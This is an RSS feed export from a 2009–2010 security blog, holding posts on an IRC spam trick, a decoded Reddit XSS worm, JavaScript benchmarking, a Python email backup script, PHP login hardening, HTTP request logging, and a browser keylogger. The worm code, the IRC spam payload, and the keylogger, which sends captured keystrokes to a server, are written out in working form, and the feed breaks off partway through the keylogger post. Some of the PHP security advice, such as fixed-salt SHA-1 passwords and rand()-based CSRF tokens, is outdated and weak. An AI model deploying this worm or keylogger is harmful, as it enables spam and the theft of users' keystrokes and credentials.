<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insanesecurity &#187; Code</title>
	<atom:link href="http://insanesecurity.info/blog/category/code/feed" rel="self" type="application/rss+xml" />
	<link>http://insanesecurity.info/blog</link>
	<description>security through a distorted eye</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:31:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>That&#8217;s a cool trick</title>
		<link>http://insanesecurity.info/blog/thats-a-cool-trick</link>
		<comments>http://insanesecurity.info/blog/thats-a-cool-trick#comments</comments>
		<pubDate>Wed, 27 Jan 2010 18:01:06 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Spam]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=304</guid>
		<description><![CDATA[Today when reddit was down for maintenance people kept gathering on the #redditdowntime channel on freenode where under a couple of minutes intriguing things started to happen. You can read the whole story here (and come back afterwards). TLDR: the channel (through some javascript code) got link spammed in huge numbers. The code &#8211; which [...]]]></description>
			<content:encoded><![CDATA[<p>Today when reddit was down for maintenance people kept gathering on the <a href="http://irc.freenode.net:6667/redditdowntime">#redditdowntime channel on freenode</a> where under a couple of minutes intriguing things started to happen.</p>
<p>You can read the whole story <a href="http://unethicalblogger.com/posts/2010/01/using_browser_piss_irc_users_or_spamming_redditdowntime">here</a> (and come back afterwards).<br />
<span id="more-304"></span><br />
TLDR: the channel (through some javascript code) got link spammed in huge numbers.</p>
<p>The code &#8211; which you can find in the article I&#8217;ve pointed earlier &#8211; basically has an iframe, a form with an input tag (pointing to the iframe) and a small javascript code to do the magic.</p>
<p>What I&#8217;ve liked in the code is the way it sends the connection and &#8220;payload&#8221; to the irc server; via the following (combined) string.</p>
<pre>
x.value = '\r\nUSER '+i+' 8 * :'+n+ // user
          '\r\nNICK '+n+ // nick
          '\r\nJOIN #redditdowntime\r\n'
          +new Array(99).join(
              'PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n'
          )+'';
</pre>
<p>And I like especially the last part of the payload, of which my first impression was that is creating 99 new lines and lastly the actual message as a way to wait while the server responded correctly.</p>
<p>Soon afterwards (couple of seconds, I swear) I realized that this snippet of code generates 100 messages to send.</p>
<p>Nice trick, I&#8217;ll remember it next time I&#8217;ll have to do a string repeat.</p>
<p>And as in any situation where someone needs to be blamed, this time the blame fell upon the Freenode sysadmins; and it was said in such a lovely way.</p>
<blockquote cite="Freenode is run by morons"><p>
IN MY HUMBLE OPINION, (THIS IS MY OPINION AND NOT FACT):</p>
<p>Freenode is run by morons who can&#8217;t read IRCD config files. It is that simple.</p>
<p>Instead of reading the docs, freenode is switching to another IRCD to solve this &#8220;problem&#8221;. Well the problem is between the chair and the keyboard of the freenode admins. The thing you posted should not work at all against a properly configured IRCD. Instead REAL ADMINS with the practical skills of READING COMPREHENSION read the DOCUMENTS that describe the CONFIGURATION OPTIONS. And then they turn on the one feature invented in the 90s that will stop this dead.</p>
<p>But no, freenode has historically been run by people who don&#8217;t seem to exhibit any understanding of an IRC server or sysadmining. They will convert the entire network on the 30th to a new IRC which allows to ban users who send HTTP header to an IRC Server. Instead of reading the docs and turning on a certain option WHICH I WILL NOT SHARE HERE BECAUSE FREENODE ADMINS ARE IDIOTS AND SHOULD READ THE BLOODY DOCS.</p>
<p>Also firewalling with a pattern match on POST would&#8217;ve solved these problems too. But freenode admins are not the brightest admins.
</p></blockquote>
<p>And all of this because a Reddit user once owned a Digg user&#8230;. I can&#8217;t find the picture!</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/thats-a-cool-trick/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reddit worm, oh boy&#8230;</title>
		<link>http://insanesecurity.info/blog/reddit-worm-oh-my</link>
		<comments>http://insanesecurity.info/blog/reddit-worm-oh-my#comments</comments>
		<pubDate>Mon, 28 Sep 2009 04:03:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Worm]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=264</guid>
		<description><![CDATA[As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230;<br />
<code><br />
An error occurred while processing your request.<br />
Reference #97.27c37259.1254106488.35b1d0e<br />
</code></p>
<p>The (decoded) code of the worm is the following:</p>
<pre>
// generate payload/attack vector
// having trouble understanding why this works

z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";

// and what's with the 9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d ?

// "click" all reply links in page
o=document;
e=o.getElementsByTagName('a');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='reply')
        $(e[i]).click();

// fill with payload
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i&lt;e.length;i++)
    e[i].value=z;

// submit
e=o.getElementsByTagName('button');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='save'&#038;&#038;e[i].style.display!='none')
        $(e[i]).click();
</pre>
<p>In the meantime of writing the article I tried to look for the invalid filtering in the source code, but as touching for the first time the code had no sense of direction. If someone would be kind enough to enlighten me in which file the code resides I&#8217;d be more than happy.</p>
<p>If not, we&#8217;ll have an unsolved mystery :)</p>
<p><strong>UPDATE</strong>: worm author has happily <a href="http://www.reddit.com/r/IAmA/comments/9ox75/i_found_and_wrote_the_exploit_which_crashed/c0dqwzs">shared its way of evading the filter</a>.</p>
<p><strong>UPDATE 2</strong>: <a href="http://blog.reddit.com/2009/09/we-had-some-bugs-and-it-hurt-us.html">post about the bug on the reddit blog</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/reddit-worm-oh-my/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Benchmarking Javascript</title>
		<link>http://insanesecurity.info/blog/benchmarking-javascript</link>
		<comments>http://insanesecurity.info/blog/benchmarking-javascript#comments</comments>
		<pubDate>Fri, 04 Sep 2009 14:00:00 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=249</guid>
		<description><![CDATA[There are a series of ways by which you could benchmark Javascript code. Either by using the Firebug console API, example: console.time("first"); // some javascript code console.timeEnd("first"); Another way would be the one which ppk suggested on his blog. function testIt() { var startTime = new Date().getTime(); // actual DOM functionality to be tested goes [...]]]></description>
			<content:encoded><![CDATA[<p>There are a series of ways by which you could benchmark Javascript code. Either by using the Firebug <a href="http://getfirebug.com/console.html">console API</a>, example:</p>
<pre>
console.time("first");
// some javascript code
console.timeEnd("first");
</pre>
<p>Another way would be the one which ppk <a href="http://www.quirksmode.org/blog/archives/2009/08/when_to_read_ou.html">suggested on his blog</a>.</p>
<pre>
function testIt() {
    var startTime = new Date().getTime();

    // actual DOM functionality to be tested goes here

    setTimeout(function () {
        var endTime = new Date().getTime();
        var result = (endTime-startTime)/1000;
        // print result
    },10)
}
</pre>
<p>The reason why the result is printed through a different function set to run on timeout is:</p>
<blockquote><p>
(&#8230;) some browsers only applies the result of the test (i.e. the changes in the DOM you want to test) to the screen after the function has ended entirely. (&#8230;) The correct way of conducting this test is setting a timeout for reading out the end time. The function ends when the in-memory DOM manipulation has been done, which allows the browser to apply the changes.</p></blockquote>
<p>If that&#8217;s the case, we could also use the following function for benchmarking Javascript code (a more flexible version):</p>
<pre>
function benchmark(func) {
    var startTime = new Date().getTime();
    func();
    var endTime = new Date().getTime();
    return (endTime-startTime)/1000;
}

// as for usage
time = benchmark(function() {
    // javascript code to benchmark
});
</pre>
<p>It is completely unrelated to any aspect of security, but there are some topics that just make me blog about&#8230; Anyway, very soon I&#8217;ll post on, have a few projects I&#8217;m working on lately.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/benchmarking-javascript/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>email backup with Python</title>
		<link>http://insanesecurity.info/blog/email-backup-with-python</link>
		<comments>http://insanesecurity.info/blog/email-backup-with-python#comments</comments>
		<pubDate>Thu, 02 Jul 2009 11:12:37 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=99</guid>
		<description><![CDATA[In my new project (involving spam) I&#8217;ve created a script for retrieving the messages locally, which you could also use for rapidly backing up your emails. The script is aimed for retrieving the emails for multiple accounts using the POP3 protocol (via SSL). #!/usr/bin/env python import poplib, os users = { "username1":"password1", "username2":"password2" } mail_server [...]]]></description>
			<content:encoded><![CDATA[<p>In my new project (involving spam) I&#8217;ve created a script for retrieving the messages locally, which you could also use for rapidly backing up your emails.</p>
<p>The script is aimed for retrieving the emails for multiple accounts using the POP3 protocol (via SSL).<br />
<span id="more-99"></span></p>
<pre>
#!/usr/bin/env python

import poplib, os

users = {
    "username1":"password1",
    "username2":"password2"
}

mail_server = 'mail.hosting.com'

for user in users:
    m = poplib.POP3_SSL(mail_server)
    m.user(user)
    m.pass_(users[user])
    num = len(m.list()[1])
    for i in range(1, num+1):
        uid  = m.retr(i)[2]
        mail = m.retr(i)[1]
        if not os.access(user, os.F_OK):
            os.mkdir(user, 0777)
        mfile  = user+'/'+str(uid)+'.txt'
        mstore = open(mfile, 'w')
        mstore.write("\n".join(mail))
        mstore.close()
    m.quit()
</pre>
<p>Of course you should replace <code>poplib.POP3_SSL</code> with <code>poplib.POP3</code> if SSL is not supported by your mail server.</p>
<p>Hope you find it useful&#8230; going back to work.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/email-backup-with-python/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>8 Tips For A Secure Login Script/Admin Panel</title>
		<link>http://insanesecurity.info/blog/8-tips-for-a-secure-login-scriptadmin-panel</link>
		<comments>http://insanesecurity.info/blog/8-tips-for-a-secure-login-scriptadmin-panel#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:53:57 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[CAPTCHA]]></category>
		<category><![CDATA[Encryption]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=76</guid>
		<description><![CDATA[After reading the title you may say to yourself &#8220;Oh no, another &#60;&#60;secure login script&#62;&#62; article! Aren&#8217;t there enough already online?&#8221;. Yes there are, but unfortunately many tutorials (if it&#8217;s appropriate to call them so) only show you how to write SQL Injection free code. But that isn&#8217;t enough. What about brute force (dictionary, hybrid) [...]]]></description>
			<content:encoded><![CDATA[<p>After reading the title you may say to yourself &#8220;Oh no, another &lt;&lt;secure login script&gt;&gt; article! Aren&#8217;t there enough already online?&#8221;. Yes there are, but unfortunately many tutorials (if it&#8217;s appropriate to call them so) only show you how to write SQL Injection free code. But that isn&#8217;t enough. What about brute force (dictionary, hybrid) attacks? Or how about making your admin panel (user panel) CSRF free? Well this article will try to deal with those issues too.</p>
<p><span id="more-76"></span></p>
<h2>Tip 1: Login Page/Authentication</h2>
<p>Let&#8217;s start with the basic example, which you can find in all those so similar tutorials&#8230; First of is the login form:</p>
<pre>
&lt;form action="login.php" method="post"&gt;
    &lt;input type="text" name="username" /&gt;
    &lt;input type="password" name="password" /&gt;

    &lt;input type="submit" name="Login" /&gt;
&lt;/form>
</pre>
<p>Very complex html code, I know. It took me around 10 minutes to write it. Now for the php script that does all the work. <strong>NOTE</strong>: In this example and all to follow we always assume a mysql connection has been made and that sessions are started.</p>
<pre>
$username = mysql_real_escape_string($_POST['username']);
$password = sha1('salt'.$_POST['password']);
$result = mysql_query(
    "SELECT id
     FROM users
     WHERE username='$username' AND password='$password'
     ORDER BY id"
);
if(1!=mysql_num_rows($result)) {
    echo 'Login failed, username or password was wrong!';
    exit;
}
$_SESSION['auth'] = true;
$_SESSION['username'] = $username;
$_SESSION['id'] = mysql_result($result, 0);
echo 'Logged in!';
</pre>
<p>If everything is clear till now than we can move onward&#8230; (with this first section I&#8217;ve done a summary of all the secure login scripts tutorials)</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Tip 2: Bruteforce?</h2>
<p>Such a rudimentary attack that people almost forget about it. And most of the time it can be invisible to the websites administrator because POST requests aren&#8217;t logged by default. You may remember this from my article <a href="http://insanesecurity.info/2009/01/logging-the-http-requests/">Logging the HTTP requests!</a> But I&#8217;m not going to use that, because I want to keep all this simple, as simple as possible. So then, we will assume we got a table which is cleared daily (cron?) and stores only the username in the table. One columned table. (I told you that I&#8217;m gonna keep it simple) Then the following lines would be also in the login script (before the login query):</p>
<pre>
$counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'"
    ),
    0
);
mysql_query("INSERT INTO attempts VALUES('$username')");
if($counter&gt;=10) {
    echo 'Bruteforce attempt detected or more than allowed logins per day exceeded!';
    exit;
}
</pre>
<p>As you can see the drawback for this is that while protecting the users from bruteforce attacks, it may also (and it&#8217;s likely) to lock them out. Luckily for us there is a solution for the problem. We add another column to our table <strong>attempts</strong> of type char(2) in which we store the current hour. Basically we limit the number of logins per hour.</p>
<pre>
$counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'
         AND hour='".date('G')."'"
    ),
    0
);
mysql_query("INSERT INTO attempts VALUES('$username', '".date('G')."')");
if($counter&gt;=3) {
    echo 'Max number of logins per hour exceeded!';
    exit;
}
</pre>
<p>Now it looks a little better, but still it misses something&#8230;</p>
<h2>Tip 3: IP Ban List</h2>
<p>You could use ban lists for various reasons, from allowing &#8220;known attackers&#8221; to blocking access via proxy. Generally people tend to use .htaccess files for blacklisting, but I will stick to PHP and MySQL for the example. <strong>NOTE</strong>: On medium to large websites a database (MySQL) &#8211; backend (PHP) application would stress pretty much the database. The following code should be inserted before the max number of logins per hour check.</p>
<pre>
$max_counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'"
    ),
    0
);
if($max_counter&gt;9) {
    mysql_query("INSERT INTO banlist VALUES('".$_SERVER['REMOTE_ADDR']."')");
}
</pre>
<p>And the following line on the first line of the script.</p>
<pre>
if(1==mysql_num_rows(
    mysql_query(
        "SELECT 1
         FROM banlist
         WHERE ip='".$_SERVER['REMOTE_ADDR']."'"
    )
)) {
    echo 'Your IP address is in the ban list!';
    exit;
}
</pre>
<p>Of course you could dump the IP Address list from time to time from the database, but the following solution is a better one because it does not involve high stress on database.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Tip 4: reCAPTCHA</h2>
<p>CAPTCHA is a good way to protect a web page (login page, important forms) from bruteforce and CSRF attacks. But we are not talking about self made CAPTCHA&#8217;s, you don&#8217;t have to reinvent the wheel&#8230; in a cubic form. That&#8217;s right, most of those who write there own CAPTCHA&#8217;s tend to make them weak or impossible to use (yes, Rapidshare&#8217;s CAPTCHA is one of those). You should use a good and public CAPTCHA, like reCAPTCHA. Also don&#8217;t over use them, you have to think of CAPTCHA&#8217;s like door keys. It&#8217;s very good to have one to your entrance door, but having to unlock the door for every room can be quite annoying, if not frustrating.</p>
<h2>Tip 5: Encrypted login information</h2>
<p>You either should use SSL or (if not available) frontend encryption (hashing in our case). A good example of such an implementation would be <a href="http://insanesecurity.info/2009/01/useratuh-frontend-to-backend-encryption/">userAtuh</a>&#8217;s one. You can find available md5/sha1 hashing library&#8217;s written in javascript around the web. One such an example is Paul Johnston&#8217;s <a href="http://pajhome.org.uk/crypt/md5/md5src.html">Javascript MD5</a> library which is stated to be used by Yahoo on several non SSL pages. Can&#8217;t tell if it&#8217;s true or not, didn&#8217;t check it out, but for those who know Trilulilu (especially Romanian comrades) I can tell you that they implemented it in their flash player, for &#8220;encrypting&#8221; the source of their media (did I say too much?=).</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Tip 6: Legitimate Requests (CSRF free)</h2>
<p>As mentioned before excessively using CAPTCHA may be annoying, except in the case that the admin panel is designated for only one person (yourself) and you can bare completing on every important request a CAPTCHA field. For the other cases you could take a similar approach. On request of a page with an important form you could generate the token in the following way.</p>
<pre>
$_SESSION['token'] = sha1(rand());
</pre>
<p>And inside the form you could place it like&#8230;</p>
<pre>
&lt;input type="hidden" name="token" value="&lt;?php echo $_SESSION['token']; ?&gt;" /&gt;
</pre>
<p>While in the form processing page you should deal with it as in the following code.</p>
<pre>
if($_SESSION['token']!=$_POST['token']) {
    exit;
}
$_SESSION['token'] = sha1(rand());
</pre>
<p>Also a better way would be by using mt_rand() and seeding it with a secret method. Like for example the sum of the numbers from the session id.</p>
<h2>Tip 7: Protect your includes/secure pages</h2>
<p>If you develop your web application in a similar manner as myself than probably you include the admin pages, rather than use one  single over bloated file. And it&#8217;s a common mistake to not protect those files from direct access. I&#8217;ve seen cases of obscure naming of the files, which are not secure if the attacker can get directory information in a way or another. Although are very interesting. Why? Because security by obscurity can be very fun an creative, even useful sometimes if build on top of a secure design. Like for example when using a MySQL database (version 4, so no information_schema database available) and obscuring the table names. Coming back to our subject, you could protect your included files by using the following line of code.</p>
<pre>
if(!defined('PROTECTED')) { exit; }
</pre>
<p>While defining the PROTECTED constant in the script which includes the files (which we assume you protect). You can secure your main files (those who include files) in a similar way.</p>
<pre>
if(!$_SESSION['auth']) { exit; }
define('PROTECTED', true);
</pre>
<h2>Tip 8: Password Change</h2>
<p>When making a password change functionality don&#8217;t forget to ask the user for their current password. Many think that if a user is logged in and no CSRF could take place they are safe and thus don&#8217;t need to ask them for their current password. It&#8217;s wrong to think like that because Session Riding attacks are more frequent than you think. And it&#8217;s not such a big deal of doing this, it only takes an extra where clause in the update syntax.</p>
<pre>
$old_password = sha1('salt'.$_POST['old_password']);
$new1 = sha1('salt'.$_POST['new1']);
$new2 = sha1('salt'.$_POST['new2']);
if($new1!=$new2) {
    echo 'Your new passwords do not match!';
    exit;
}
if(mysql_query(
    "UPDATE
     SET password='$new1'
     WHERE id='".$_SESSION['id']."'
     AND password='$old_password'"
)) {
    echo 'Password successfully changed!';
}
else {
    echo 'Password couldn\'t be changed!';
}
</pre>
<h2>Tip 0</h2>
<p>This are the most common approaches which should be taken when coding login scripts/admin panels. Also they are the most common neglected aspects. Kind of paradoxical in a way. And that;s not all, if we think of HTTP Redirects which by the way haven&#8217;t been treated because latest versions of PHP protect you against HTTP Response Splitting. Another thing I didn&#8217;t treat was XSS, which I think (and maybe you would approve) doesn&#8217;t make a part of this subject, it concerns the way you implement functionality in your pages. I often wonder why even give power to the user, like for example in a comment form. Why give him even the ability to post link (and convert them to link)?</p>
<p>Anyway, as you can see I didn&#8217;t post a ready to use script/class because I wanted you to understand the concept behind login/admin panel security. Not just copy-paste the code and cross your fingers that it will work.</p>
<p><strong>UPDATE</strong>: On <a href="http://rvdh.ath.cx/">Ronald</a>&#8217;s suggestion I replaced the md5 hashes with sha1 hashes, even salted them. Also modified the MySQL code to order the result by id, just in case there where two accounts with the same login information (which shouldn&#8217;t, if you properly did the checks in the registration page, if uses any). </p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/8-tips-for-a-secure-login-scriptadmin-panel/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Logging the HTTP requests!</title>
		<link>http://insanesecurity.info/blog/logging-the-http-requests</link>
		<comments>http://insanesecurity.info/blog/logging-the-http-requests#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:47:49 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/logging-the-http-requests</guid>
		<description><![CDATA[Logs are a very important part of security, either for preventing attacks or for forensics. But sometimes you don&#8217;t have access to logs, like for example in shared hosting environments. Logs, and I&#8217;m speaking about logging the HTTP requests, can help you very much. With the use of logs you can predict defacements: someone constantly [...]]]></description>
			<content:encoded><![CDATA[<p>Logs are a very important part of security, either for preventing attacks or for forensics. But sometimes you don&#8217;t have access to logs, like for example in shared hosting environments.</p>
<p><span id="more-71"></span></p>
<p>
Logs, and I&#8217;m speaking about logging the HTTP requests, can help you very much. With the use of logs you can  predict defacements: someone constantly trying to inject sql commands, who knows, maybe he&#8217;s on to something. Also these logs could help you prevent bruteforce attacks (if such protections weren&#8217;t implemented in the original login scripts). Needless to say that it will help you (probably) trace back a dumb attacker.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>A rudimentary logging system would look something like this (assuming that a mysql connection has been made before):</p>
<pre>
function sqle($in) { return mysql_real_escape_string($in); }
function start_log() {
    $referer = sqle($_SERVER['HTTP_REFERER']);
    $uagent  = sqle($_SERVER['HTTP_USER_AGENT']);
    $iproxy  = sqle($_SERVER['REMOTE_ADDR']);
    $exactly = date('r');
    $model   = "INSERT INTO &lt;TABLE&gt; (iproxy, referer,
        uagent, exactly, data) VALUES ('$iproxy',
        '$referer', '$uagent', '$exactly', '&lt;DATA&gt;')";

    if(isset($_POST)) {
        $data  = sqle(serialize($_POST));
        $query = str_replace('&lt;DATA&gt;',$data,$model);
        mysql_query(str_replace('&lt;TABLE&gt;','postlog',$query));
    }

    if(isset($_GET)) {
        $data  = sql(serialize($_GET));
        $query = str_replace('&lt;DATA&gt;',$data,$model);
        mysql_query(str_replace('&lt;TABLE&gt;','getlog', $query));
    }
}
</pre>
<p>As you can see we have two tables declared in the same way, one named &#8216;postlog&#8217;, while the other &#8216;getlog&#8217;. From this point on you can make scripts that will check for xss, sql injection, lfi/rfi attempts.</p>
<p>I, for example, use it to track those trying to bruteforce my login credentials. And for monitoring wrong entered passwords, if any.</p>
<p>Another thing to note is that the script logs everything passed via a request, so it&#8217;s not recommended to add on login pages without setting an exception for the password field.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Another security enchantment would be to have the tables inside another database than the one you&#8217;re using for the website, so in case of an SQL injection no sensitive log data would be revealed (sensitive if you wouldn&#8217;t add exceptions as mentioned above). And how it would be this the best way to achieve? By adding a mysql connection to the example above. Upon inclusion the code executed would be the following</p>
<pre>
//some general inclusion you make
//include logger.php (this is our script expanded)
function sqle($in) { ... }
function start_log() {
    $handle = mysql_connect('host','user','pass');
    mysql_select_db('logDB', $handle);
    ...
    if(isset($_POST)) {
        ...
        mysql_query(
            str_replace('&lt;TABLE&gt;','postlog',$query),
            $handle
        );
    }
    if(isset($_GET)) {
        ...
        mysql_query(
            str_replace('&lt;TABLE&gt;','getlog',$query),
            $handle
        );
    }
    mysql_close($handle);
}
</pre>
<p>Another thing to note, is that the user of the website database shouldn&#8217;t have rights upon the log database. You should create a special user just for the logging part.</p>
<p>Also if you like automated stuff, as I do, you would love a logrotate-like implementation which you could cron:</p>
<pre>
mysql_connect('host','user','pass');
mysql_select_db('logDB');

$date = date('Y-m-d');
$path = '/home/logs/';
$file  = $path.'default.txt';
$query = "SELECT * FROM &lt;TABLE&gt; INTO OUTFILE '$file'
         FIELDS TERMINATED BY ' ' LINES TERMINATED BY 'n'";

mysql_query(str_replace('&lt;TABLE&gt;', 'getlog', $query);
rename($file, $path.$date.'(GET).txt');

mysql_query(str_replace('&lt;TABLE&gt;', 'postlog', $query);
rename($file, $path.$date.'(POST).txt');
</pre>
<p>About logs (and logging) that&#8217;s it for the moment. Maybe I&#8217;ll do another time an article about analyzing HTTP logs.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Another thing I wanted to mention, is that there is a similar approach found on the web via a wordpress plugin. Wanted to share it but unfortunately didn&#8217;t find it while writing the article.</p>
<p>P.S. Didn&#8217;t write the table creating syntax, but you can do it yourself. Not much into it, a bunch of varchar fields&#8230;</p>
<p>UPDATE: did some minor editing, upon renaming the files they would have been put in the scripts executing directory.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/logging-the-http-requests/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript/Userscript Keylogger</title>
		<link>http://insanesecurity.info/blog/javascriptuserscript-keylogger</link>
		<comments>http://insanesecurity.info/blog/javascriptuserscript-keylogger#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:37:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Userscript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=63</guid>
		<description><![CDATA[Some days ago while I was writing the (traffic magnet) article HYGHAAZG and mentioned the keylogger, instantly it came to mind a userscript one. Googled a bit, but didn&#8217;t seem to find any (quite amazed)&#8230; Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was [...]]]></description>
			<content:encoded><![CDATA[<p>Some days ago while I was writing the (traffic magnet) article <del><a href="http://insanesecurity.info/2009/01/hacking-yahoogmailhotmail-accounts-a-z-guide/">HYGHAAZG</a></del> and mentioned the keylogger, instantly it came to mind a userscript one. Googled a bit, but didn&#8217;t seem to find any (quite amazed)&#8230;</p>
<p><span id="more-63"></span></p>
<p>
Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was specially thought for a post). First of all this was the starting point of it, a.k.a. typical javascript keylogger:</p>
<pre>
var keys='';
document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	keys+=key;
}
window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+keys;
	keys = '';
}, 1000);
</pre>
<p>As you can see from the code a javascript keylogger is quite simple. Attach a function to the key pressing event, extract the character (the code of it) in the event and save it into a variable. Also declare a function (within an interval) that will send the logged keys to the backend which will save it into file/database.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script></p>
<p><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>As malefic as it seems you should be real lucky to succeed in using it as a relevant keylogger. It would be a good module in an XSS worm.  Wanting more from a keylogger, I moved onward to GreaseMonkey which allows me to have a functional keylogger on every website I wish. Most of it it&#8217;s the same, difference is that I used <a href="http://diveintogreasemonkey.org/api/gm_setvalue.html">GM_setValue</a>/<a href="http://diveintogreasemonkey.org/api/gm_getvalue.html">GM_getValue</a> for storing the keys and had to use <a href="http://wiki.greasespot.net/UnsafeWindow">unsafeWindow</a> for accesing the key pressing event.</p>
<pre>
GM_setValue('keys', '');
unsafeWindow.onkeypress = function(e) {
